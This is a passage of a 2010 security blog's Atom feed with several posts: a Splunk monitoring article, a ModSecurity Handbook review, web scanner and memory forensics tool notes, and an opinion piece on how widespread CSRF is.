src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kVOWaY1TAF0/TCl3kQOw9EI/AAAAAAAAAVg/d93Ms6LMPjk/s72-c/eBoxCSRF.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6592041104568547635</id><published>2010-06-27T20:58:00.000-07:00</published><updated>2010-06-27T21:50:08.183-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Splunk'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoring'/><title type='text'>ADMIN Magazine article: Splendid Splunk</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TCgk8no7ZII/AAAAAAAAAVY/okWyEwb4Ec8/s1600/LMI-SE_Admin_plus_dvd_medium.jpg" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 160px; height: 180px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TCgk8no7ZII/AAAAAAAAAVY/okWyEwb4Ec8/s320/LMI-SE_Admin_plus_dvd_medium.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5487676769802347650" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Approximately twice a year I write for &lt;a href="http://www.linux-magazine.com/content/search?SearchText=russ+mcree&amp;x=0&amp;y=0" target="_blank"&gt;Linux Magazine&lt;/a&gt;; I've covered &lt;a href="http://www.linux-magazine.com/Issues/2007/84/TESTY-EFT" target="_blank"&gt;nUbuntu&lt;/a&gt;, &lt;a href="http://www.linux-magazine.com/Issues/2009/100/ADEONA" target="_blank"&gt;Adeona&lt;/a&gt;, and &lt;a href="http://www.linux-magazine.com/Issues/2009/106/PICTURES" target="_blank"&gt;Security Visualization&lt;/a&gt; in previous articles.  &lt;br /&gt;When the editor asked me to participate in a system administration special edition I was intrigued as the edition was to be OS agnostic and include Linux, Windows, OpenSolaris, and others.&lt;br /&gt;I didn't have to think for more than a minute to come up with a good security topic for system administrators. &lt;br /&gt;Any of you readers work in hybrid operating environments where you're inevitably challenged to unify event monitoring and correlation with disparate systems?&lt;br /&gt;I for one can answer that question in teh affirmative and am always seeking ways to answer that challenge. &lt;br /&gt;Merging security and operational mindsets is essential when unifying events in hybrid environments and I have found &lt;a href="http://www.splunk.com/" target="_blank"&gt;Splunk&lt;/a&gt; to be incredibly useful as part of the effort. &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Note:&lt;/span&gt; I wrote this article with no influence or feedback from Splunk (they'll learn of it here too) to avoid bias. &lt;br /&gt;&lt;span style="font-style:italic;"&gt;Splendid Splunk: Unifying Events with Splunk&lt;/span&gt; is the result of much testing and research to prove out methodology I've only implemented in part prior.&lt;br /&gt;For security events, when an enterprise may not have budget for SEM/SIEM, the likes of Splunk fills the gap admirably. Yes, it's a commercial tool, but one can do a great deal with the community version to confirm my findings.&lt;br /&gt;&lt;br /&gt;An excerpt:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;Systems administrators, security engineers, and analysts share a common challenge in typical enterprise environments. Rare is the data center in which only one operating system is in use, or only one version of the same operating system. Monitoring and managing system events and security events across such hybrid environments is no small feat...choices need to be made when unifying events in a hybrid environment. For example, perhaps you have more of one operating system flavor than another in your environment. Or, perhaps you prefer one operating system over another.&lt;br /&gt;No matter what your system counts, preferences, or comfort zones, Splunk can serve you well...to monitor your systems you can choose to use various channels in concert or exclusively:&lt;br /&gt;• Both host types can also run Splunk as a light-forwarding agent.&lt;br /&gt;• Windows and *nix hosts can also be monitored with Snare agents.&lt;br /&gt;• Windows and *nix hosts can be monitored with OSSEC agents.&lt;br /&gt;• Network devices can send syslog output directly to the Splunk server.&lt;br /&gt;Depending on granularity, performance, and primary business driver, you can opt for some or all of the above. Personally, I tend to favor a combination of the Splunk light-forwarding method in concert with OSSEC agents, and syslog for network devices...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I cover methodology, installation, forwarding, Snare, OSSEC, searches dashboards, and alerting. &lt;br /&gt;While there's a book's worth of Splunk use to write about, the article is intended to help you get a good running start.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.linux-magazine.com/ADMIN-Subscription" target="_blank"&gt;ADMIN Magazine&lt;/a&gt; is available via subscription (quarterly with DVDs), single issue purchases online, or at magazine stands in the likes Barnes and Noble.&lt;br /&gt;&lt;br /&gt;If the article is ever posted to the web by the publisher I'll update this post and let you know. &lt;br /&gt;That said, the publication is well worth the coin as it covers network security, system management, troubleshooting, performance tuning, virtualization, and cloud computing. &lt;br /&gt;Happy reading; let me know if you have questions.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/06/admin-magazine-article-splendid-splunk.html&amp;title=ADMIN%20Magazine%20article:%20Splendid%20Splunk " title="ADMIN Magazine article: Splendid Splunk "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/06/admin-magazine-article-splendid-splunk.html" title="ADMIN Magazine article: Splendid Splunk "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/06/admin-magazine-article-splendid-splunk.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6592041104568547635?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6592041104568547635/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6592041104568547635' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6592041104568547635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6592041104568547635'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/06/admin-magazine-article-splendid-splunk.html' title='ADMIN Magazine article: Splendid Splunk'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kVOWaY1TAF0/TCgk8no7ZII/AAAAAAAAAVY/okWyEwb4Ec8/s72-c/LMI-SE_Admin_plus_dvd_medium.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-9218105890975169403</id><published>2010-06-06T11:14:00.000-07:00</published><updated>2010-06-10T06:27:24.079-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ivan Ristic'/><category scheme='http://www.blogger.com/atom/ns#' term='Russ McRee'/><category scheme='http://www.blogger.com/atom/ns#' term='ModSecurity'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Book Review: ModSecurity Handbook</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/TBDm_hgicOI/AAAAAAAAAVQ/-zl4h_t_cj0/s1600/modsecurity-handbook-cover.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 208px; height: 256px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/TBDm_hgicOI/AAAAAAAAAVQ/-zl4h_t_cj0/s320/modsecurity-handbook-cover.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5481134725510885602" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In January I &lt;a href="http://holisticinfosec.blogspot.com/2009/12/book-review-modsecurity-25.html" target="_blank"&gt;reviewed&lt;/a&gt; Magnus Mischel's ModSecurity 2.5.&lt;br /&gt;While Magnus' work is admirable, I'd be remiss in my duties were I not to review Ivan Ristic's &lt;a href="https://www.feistyduck.com/books/modsecurity-handbook/" target="_blank"&gt;ModSecurity Handbook&lt;/a&gt;. &lt;br /&gt;Published as the inaugural offering from Ristic's own &lt;a href="https://www.feistyduck.com/"&gt;Feisty Duck&lt;/a&gt; publishing, the ModSecurity Handbook is an important read for ModSecurity fans and new users alike. Need I remind you, Ristic developed ModSecurity, the &lt;span style="font-style:italic;"&gt;original&lt;/span&gt; web application firewall, in 2002 and remains involved in the project to this day. &lt;br /&gt;This book is a living entity as it is continually updated digitally; your purchase includes 1 year of digital updates. Ristic also wants to know what you think and will incorporate updates and feedback if relevant.&lt;br /&gt;&lt;br /&gt;While the ModSecurity Handbook covers v2.5 and beyond, Ristic's is "the only ModSecurity book on the market that provides comprehensive coverage of all features, including those features that are only available in the development repository."&lt;br /&gt;ModSecurity Handbook offers detailed technical guidance and is rules-centric in its approach including configuration, writing, rules sets, and Lua. Your purchase even includes a digital-only ModSecurity Rule Writing Workshop. &lt;br /&gt;&lt;br /&gt;Chapter 10 is dedicated to performance as proper tuning is essential to success with ModSecurity without web application performance degradation. &lt;br /&gt;That said, the highlight of this excellent read for your reviewer was Chapter 8, covering Persistent Storage.&lt;br /&gt;ModSecurity persistent storage is, for all intents and purposes, a free-form database that helps you:&lt;br /&gt;• Track IP address and session activity, attack, and anomaly scores&lt;br /&gt;• Track user behavior over a long period of time&lt;br /&gt;• Monitor for session issues including hijacking, inactivity timeouts and absolute life span&lt;br /&gt;• Detect denial of service and brute force attacks&lt;br /&gt;• Implement periodic alerting&lt;br /&gt;&lt;br /&gt;Following the applied persistence model, I found periodic alerting most interesting and useful. From pg. 126, "&lt;span style="font-style:italic;"&gt;Periodic alerting is a technique useful in the cases when it is enough to see one alert about a particular situation, and when further events would only create clutter. You can implement periodic alerting to work once per IP address, session, URL, or even an entire application.&lt;/span&gt;"&lt;br /&gt;This is the ModSecurity equivalent of a Snort IDS rule header &lt;span style="font-style:italic;"&gt;pass&lt;/span&gt; action useful when internal vulnerability scanners might cause an excess of alerts. &lt;br /&gt;ModSecurity rules that perform passive vulnerability scanning might detect traces of vulnerabilities in output, and alert on them. Periodic alerting would thus only alert once when configured accordingly. &lt;br /&gt;As an example, perhaps you are aware of minor issues that are important to be aware of, but do not require an alert on every web server hit.&lt;br /&gt;Making use of the GLOBAL collection, ModSecurity Handbook's example would translate the scenario above by following a chained rule match and defining a  variable, thus telling you if an alert has fired in a previously. The presence of the variable indicates that an alert shouldn’t fire again for a rule-defined period of time. In concert with expiration and counter resets it is ensured that a rule will warn you only once in a your preferred period of time but still log as you see fit too.&lt;br /&gt;Useful, right?&lt;br /&gt;&lt;br /&gt;ModSecurity Handbook, in concert with Ristic's &lt;a href="http://www.apachesecurity.net/" target="_blank"&gt;Apache Security&lt;/a&gt;, are must reads for web application security administrators and architects, but will not leave those who need step-by-step instructions at a loss. &lt;br /&gt;Trust me when I say, all you need to harden your web presence with ModSecurity is at your fingertips with the ModSecurity Handbook.&lt;br /&gt;&lt;br /&gt;Cheers and happy reading.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/06/book-review-modsecurity-handbook.html&amp;title=Book%20Review:%20Modsecurity%20Handbook&lt;br /&gt; " title="Book Review: Modsecurity Handbook "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/06/book-review-modsecurity-handbook.html" title="Book Review: Modsecurity Handbook "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/06/book-review-modsecurity-handbook.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-9218105890975169403?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/9218105890975169403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=9218105890975169403' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/9218105890975169403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/9218105890975169403'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/06/book-review-modsecurity-handbook.html' title='Book Review: ModSecurity Handbook'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kVOWaY1TAF0/TBDm_hgicOI/AAAAAAAAAVQ/-zl4h_t_cj0/s72-c/modsecurity-handbook-cover.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6186775745263179738</id><published>2010-06-03T13:34:00.000-07:00</published><updated>2010-06-03T13:50:38.971-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Russ McRee'/><category scheme='http://www.blogger.com/atom/ns#' term='toolsmith'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Web Security Tools²: skipfish and iScanner</title><content type='html'>June's &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; in the &lt;a href="https://www.issa.org/Members/Journal/" target="_blank"&gt;ISSA Journal&lt;/a&gt; covers &lt;a href="http://code.google.com/p/skipfish/" target="_blank"&gt;skipfish&lt;/a&gt; and &lt;a href="http://iscanner.isecur1ty.org" target="_blank"&gt;iScanner&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Skipfish and iScanner, albeit quite different, are both definite additions for your toolkits. &lt;br /&gt;Reduction of web application security flaws as well as the identification and removal of obfuscated malcode are important ongoing processes as part of your proactive and reactive defensive measures.&lt;br /&gt;&lt;br /&gt;Skipfish is an “active web application security reconnaissance tool that prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes.”&lt;br /&gt;&lt;br /&gt;iScanner is a Ruby-based tool that “detects and removes malicious code and webpages malware from your website with automated ease. iScanner will not only show you the infected files from your server but it’s also able to clean these files by removing the malware code from the infected files.”&lt;br /&gt;&lt;br /&gt;The article awaits your review &lt;a href="http://holisticinfosec.org/toolsmith/docs/june2010.html" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/06/web-security-tools-skipfish-and.html&amp;title=Web%20Security%20Tools:%20skipfish%20and%20iScanner " title="Web Security Tools²: skipfish and iScanner "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/06/web-security-tools-skipfish-and.html" title="Web Security Tools²: skipfish and iScanner "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/06/web-security-tools-skipfish-and.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6186775745263179738?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6186775745263179738/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6186775745263179738' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6186775745263179738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6186775745263179738'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/06/web-security-tools-skipfish-and.html' title='Web Security Tools²: skipfish and iScanner'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-2313238424720409902</id><published>2010-05-11T20:32:00.000-07:00</published><updated>2010-05-11T21:01:52.018-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>CSRF: Six Degrees of Kevin Beaver (or at least his printer)</title><content type='html'>Perhaps you followed the CSRF debate between &lt;a href="http://ha.ckers.org/blog/20100414/csrf-isnt-a-big-deal-duh/"&gt;RSnake&lt;/a&gt; and &lt;a href="http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92_gci1507486,00.html?track=sy160"&gt;Kevin Beaver&lt;/a&gt; last month. &lt;br /&gt;While I fall well on Robert's side of the tracks, Kevin made some interesting points.&lt;br /&gt;I may take issue with some of them (ok, almost all of them) but Robert took him to task, and I'm pretty sure Kevin has done his penance ;-), so no need to beat that dead horse. &lt;br /&gt;Except that scanner comment. Scanners &lt;&gt; CSRF detection; it's a largely manual check, and it actually does exist significantly more often than you might think (pretty much everywhere). Watch your Tamper Data or Burp sessions for requests made without tokens/formkeys/canaries, etc. and you'll soon know what I mean. There is no "high-quality vulnerability scanner" that will solve the CSRF challenge for you.&lt;br /&gt;&lt;br /&gt;No matter your view or perspective, CSRF is pervasive, annoying to fix, and still lurking everywhere; it can be used to pwnzor your &lt;a href="https://holisticinfosec.org/content/view/143/45/"&gt;printer&lt;/a&gt;, your &lt;a href="https://holisticinfosec.org/content/view/111/45/"&gt;APC UPS&lt;/a&gt;, your website's &lt;a href="https://holisticinfosec.org/content/view/97/45/"&gt;shopping cart&lt;/a&gt; or &lt;a href="https://holisticinfosec.org/content/view/90/45/"&gt;CMS&lt;/a&gt;, or any other damned thing you expose to the Intarwebs that fails to check "exposure to unintended requests." &lt;br /&gt;What value these targets? Depends on your motive.&lt;br /&gt;Stealing printer resources? Probably not. ;-)&lt;br /&gt;But a CSRF attack against a website operator who's using the likes of osCommerce, Zen Cart, or eclime (15 million+ at last check) and is foolish enough to be using one of them to manage credit card data? Game over.&lt;br /&gt;&lt;br /&gt;Heck, CSRF vulns are so widespread that we could rate number 5 on the &lt;a href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"&gt;OWASP Top 10&lt;/a&gt; like a video game...Rated E for Everyone, just like your Mom. Ohhh!&lt;br /&gt;&lt;br /&gt;When I popped my new HP Photosmart C4700 on my home network and changed the admin password via CSRF with twenty second's worth of HTML, it all came to a head. &lt;br /&gt;How do you patch that? &lt;br /&gt;Vendors like HP and APC, who are extremely responsive to disclosures, no matter how low hanging the fruit, still can't easily update their software and expect all customers to apply the fix. &lt;br /&gt;Then there all the vendors who do nothing (you know who you are).&lt;br /&gt;Good code and responsible vendors are paramount, but so too is consumer awareness and understanding of risk. &lt;br /&gt;What if a properly targeted "one click" attack turns off the power outlets on a UPS device with a hospital's ICU servers connected to it? &lt;br /&gt;Is life in the balance? &lt;br /&gt;Our "mysterious" web bug changes the nature of that very question.&lt;br /&gt;Overly dramatic, sure, but you get the point.   &lt;br /&gt;Who'd be to blame under those circumstances?&lt;br /&gt;&lt;br /&gt;So what's the solution (write secure code)?&lt;br /&gt;I recognize that I'm asking more questions than providing answers (write secure code), but I'm at a loss as to how to solve poor coding practices easily (write secure code). Perhaps you, dear reader, have some ideas (write secure code).&lt;br /&gt;&lt;br /&gt;Maybe RSnake should just CSRF Kevin Beaver's printer, force it to print a bunch of copies of OWASP's &lt;a href="http://owasp.blogspot.com/2010/02/owasp-development-guide-project.html?utm_source=twitterfeed&amp;utm_medium=twitter"&gt;Development Guide&lt;/a&gt;, and we'll call it good. ;-)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/04/csrf-six-degrees-of-kevin-beaver-or-at.html&amp;title=CSRF:%20Six%20Degrees%20of%20Kevin%20Beaver%20(or%20at%20least%20his%20printer) " title="CSRF: Six Degrees of Kevin Beaver (or at least his printer) "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/04/csrf-six-degrees-of-kevin-beaver-or-at.html" title="CSRF: Six Degrees of Kevin Beaver (or at least his printer) "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/04/csrf-six-degrees-of-kevin-beaver-or-at.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-2313238424720409902?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/2313238424720409902/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=2313238424720409902' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2313238424720409902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2313238424720409902'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/04/csrf-six-degrees-of-kevin-beaver-or-at.html' title='CSRF: Six Degrees of Kevin Beaver (or at least his printer)'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-5661016403312277129</id><published>2010-05-03T20:02:00.000-07:00</published><updated>2010-05-03T21:03:24.119-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SIFT'/><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='MoonSols'/><category scheme='http://www.blogger.com/atom/ns#' term='Volatility'/><category scheme='http://www.blogger.com/atom/ns#' term='PTK'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='incident response'/><category scheme='http://www.blogger.com/atom/ns#' term='incident handling'/><title type='text'>Memory forensics with SIFT 2.0, Volatility, and PTK</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/S9-V5twKdKI/AAAAAAAAAUw/zLTsVXsEleY/s1600/toolsmithLogo.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 40px;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/S9-V5twKdKI/AAAAAAAAAUw/zLTsVXsEleY/s320/toolsmithLogo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5467253291417760930" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;May's &lt;span style="font-style:italic;"&gt;&lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt;&lt;/span&gt; takes a close look at &lt;a href="https://computer-forensics2.sans.org/community/siftkit/" target="_blank"&gt;SIFT 2.0&lt;/a&gt;, the forensics workstation associated with the &lt;a href="http://www.sans.org/security-training/computer-forensic-investigations-incident-response-98-mid" target="_blank"&gt;SANS 508&lt;/a&gt; track. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/S9-WUIHyrkI/AAAAAAAAAVA/glJ9-5_CBss/s1600/title.png" target="_blank"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 159px; height: 188px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/S9-WUIHyrkI/AAAAAAAAAVA/glJ9-5_CBss/s320/title.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5467253745172786754" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;SIFT 2.0 is best utilized as a VM via your preferred version of VMWare but can also be installed as a permanent standalone workstation.&lt;br /&gt;I spend much of time touting memory analysis as a key component of incident response and forensics, and SIFT 2.0 offers two of the most capable memory analysis offerings available: &lt;a href="https://www.volatilesystems.com/default/volatility" target="_blank"&gt;Volatility&lt;/a&gt; and &lt;a href="http://ptk.dflabs.com/" target="_blank"&gt;PTK&lt;/a&gt;. As I say in the article, I don't do either tool the justice it deserves but it should whet your appetite. I owe both Volatility and PTK their own write-ups, if not the &lt;a href="http://moonsols.com/blog/9-moonsols-windows-memory-toolkit" target="_blank"&gt;MoonSols Memory Toolkit&lt;/a&gt; as well.&lt;br /&gt;Regardless, SIFT 2.0 is extremely practical for forensic processing and case management. Assuming you have a decent storage footprint, you can opt to keep a unique virtual instance of SIFT for each case your handling.&lt;br /&gt;For this article I used SIFT with Volatility and PTK to dig more deeply into a victim memory image of a &lt;a href="http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Win32%2fBanker" target="_blank"&gt;Banload&lt;/a&gt;-infected host.&lt;br /&gt;You'll quickly see how to get right to the bottom of an incident using only memory analysis.&lt;br /&gt;The article is &lt;a href="http://holisticinfosec.org/toolsmith/docs/may2010.html" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cheers and and enjoy.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/05/memory-forensics-with-sift-20.html&amp;title=Memory%20forensics%20with%20SIFT%202.0,%20Volatility,%20and%20PTK " title="Memory forensics with SIFT 2.0, Volatility, and PTK "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/05/memory-forensics-with-sift-20.html" title="Memory forensics with SIFT 2.0, Volatility, and PTK "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/05/memory-forensics-with-sift-20.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt; Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-5661016403312277129?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/5661016403312277129/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=5661016403312277129' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5661016403312277129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5661016403312277129'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/05/memory-forensics-with-sift-20.html' title='Memory forensics with SIFT 2.0, Volatility, and PTK'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 